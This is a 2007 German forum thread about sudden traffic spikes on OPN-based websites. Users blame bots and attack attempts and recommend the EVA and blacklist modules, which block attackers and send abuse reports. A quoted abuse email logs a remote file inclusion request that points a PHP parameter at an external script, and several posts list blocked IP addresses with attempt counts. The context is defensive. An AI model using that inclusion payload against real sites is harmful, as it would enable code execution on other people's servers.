Forum

In letzter Zeit habe ich unheimliche Schwankungen in der Statistik. Und nicht nur ich, sondern auch Leute die kein OPN im Einsatz haben.
Ich habe Tage mit 30 Zugriffen und Tage mit meheren Hundert(1000 - 3000).
Ist Euch ähnliches aufgefallen? Jemand ne Idee woran es liegen kann?

Ja das ist allgemein so.

Das hängt mit diversen Bots zusammen und auch diversen Angriffen auf Seiten.

Das schwankt in den vergangenen Wochen schon sehr extrem, ist aber bei vielen anderen auch so.

Gruss Tine

spinne schrieb am 07.12.2007 um 12:52:31 Uhr folgendes:

Das hängt mit diversen Bots zusammen und auch diversen Angriffen auf Seiten.

Klingt interessant, erzähl mehr davon.

P.S. PHP Kurs ist am Anfang langweilig, deshalb spamme ich das Web voll. Fragt sich nur was ich danach mache.

Das kenne ich auch sehr gut.

Installiere dir doch mal die Customizer Module "EVA" und "Black Liste".
Konfiguriere das so, dass dir OPN eine Mail sendet wenn jemand (meist ein Bot) dein OPN angreift.

du wirst erstaunt sein, was da alles versucht wird und mit welchen Manipulation die OPN zu hacken versuchen.
Resp. die versuchen mit div. Exploits Schadenscode einzuschleusen.

OPN versendet bei diesen Angriffe dann auch automatisch eine Abuse Mail an der Provider von den Angreiffer.

Ein Auszug aus dieser Mail:

[EVA-ABUSE]



Guten Tag sehr geehrte Damen und Herren,

ihr Server mit der IP

84.77.115.184
84.77.115.184

ist bei dem Versuch Schadenscode einzuschleusen ertappt worden.
Ich bitte dringend um Unterlassung andernfalls folgen weitere rechtliche Schritte.

Als Frist gebe ich Ihnen 24 Stunden. Sollte danach von der selben IP
weitere Angriffe erfasst werden erfolgt eine Strafanzeige.

Technische Informationen und Ausschnitte aus vorhandenen LOG Dateien:

Datum: 07.12.2007 06:03:56

Browser : libwww-perl/5.65
REMOTE_ADDR : 84.77.115.184
REMOTE_PORT : 4346
REQUEST_URI : /mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]=http://www.freewebs.com/jaksel/bot/s.txt?

und genau diese Angriffe pushen dann deine Statistik an Zugriffen enorm nach oben.

Blackliste wird auch automatisch ergänzt:

Gesperrte IP's welche die ms-world angreiffen und Schadencode auf den Server zu laden

* 72.10.167.50(2)
* 82.149.231.169(5)
* 66.90.101.9(2)
* 72.29.92.27(2)
* 66.225.253.129(2)
* 80.238.208.61(1)
* 213.203.223.115(1)
* 65.98.41.42(1)
* 144.92.13.94(1)
* 216.117.166.78(2)


Gesperrte IP Adressen (650)

Bei den IP's in Klammern siehst du, wie oft diese IP schon versucht hat OPN anzugreiffen.

Flash

Aua, das ist ja böse. Hmm naja ist schon eine Überlegung wert, sich mit EVA zu beschäftigen. Rein platonisch natürlich.
Aber ich denke ich warte da noch bis ich Anfang nächsten Jahres meinen VServer hab. Ist dann alles ein Abwasch.^^

Vielleicht sollte wir mal Top Listen Veröffentlichen

IP Böse Zugriffsversuche

81.29.234.142            694      
62.193.237.43            568            
66.230.196.115            297            
70.84.103.42            204            
62.67.244.181            199            
205.234.138.122      187            
205.234.190.130      181            
80.97.20.22       178            
217.172.188.64            153            
209.97.202.160            146      

Wer hat mehr zu bieten? Anmerkung bei jedem ging eine Abuse Meldung raus

Hehe auf so viel komm ich nicht...
aber du hast bestimmt nicht nur von einer seite genommen stefan? sondern serverangriffe?

bei der G-G sieht das in etwa so aus bei mir

* 85.214.58.246(0)
* 66.230.197.245(0)
* 67.19.230.162(0)
* 69.10.144.46(0)
* 87.106.14.15(0)
* 82.208.29.129(0)
* 201.11.217.130(0)
* 217.79.181.23(0)
* 89.149.208.30(1)
* 62.193.228.196(2)


Gesperrte IP Adressen (579)

und auf der info:

Blacklist IP

* 212.254.178.23(1)
* 85.234.137.123(2)
* 217.9.84.131(2)
* 66.197.155.69(1)
* 65.75.134.50(3)
* 209.172.55.210(2)
* 140.113.4.80(2)
* 65.111.164.186(1)
* 202.91.163.31(1)
* 85.98.128.52(22)


Gesperrte IP Adressen (3343)

doch war nur eine Site. Du kann in Modul Black List die IPs auch sortieren nach der Menge

stimmt auch wieder aber da glaube ich nicht das dich dann noch jemand überbieten kann

Für arme Würste die mit der "regulären" Version arbeiten. Wann findet Eva den den Weg in das offizielle Release?

Hört sich doch ziemlich stabil an, was ihr so schreibt?

Viele Grüße
go